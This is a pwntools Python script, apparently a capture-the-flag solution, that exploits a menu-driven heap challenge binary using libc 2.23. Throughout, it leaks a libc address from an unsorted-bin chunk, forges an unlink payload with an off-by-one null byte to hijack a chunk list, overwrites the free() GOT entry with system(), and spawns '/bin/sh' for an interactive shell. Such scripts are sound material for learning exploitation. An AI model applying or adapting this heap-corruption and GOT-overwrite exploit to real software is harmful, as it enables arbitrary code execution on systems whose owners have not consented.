from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])


def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))


def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))


def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)


def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))


add_chunk(3, 0x200)
add_chunk(4, 0x1f0)
add_chunk(5, 0x200)
edit_chunk(5, '/bin/sh\x00')
delete_chunk(3)
show_chunk(3)
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - 0x39bb78
info("libc base: " + hex(libc.address))

add_chunk(3, 0x208)

payload = ''
payload += p64(0)
payload += p64(0)
payload += p64(elf.sym['chunk_list'])
payload += p64(elf.sym['chunk_list'] + 8)
payload = payload.ljust(0x200, '\x00')
payload += p64(0x200)
payload += p8(0)
edit_chunk(3, payload)

delete_chunk(4)

edit_chunk(3, p64(elf.got['free']))
edit_chunk(0, p64(libc.sym['system']))

# gdb.attach(p, "b free\nc")
# pause()
delete_chunk(5)
# edit_chunk()

# gdb.attach(p)

p.interactive()
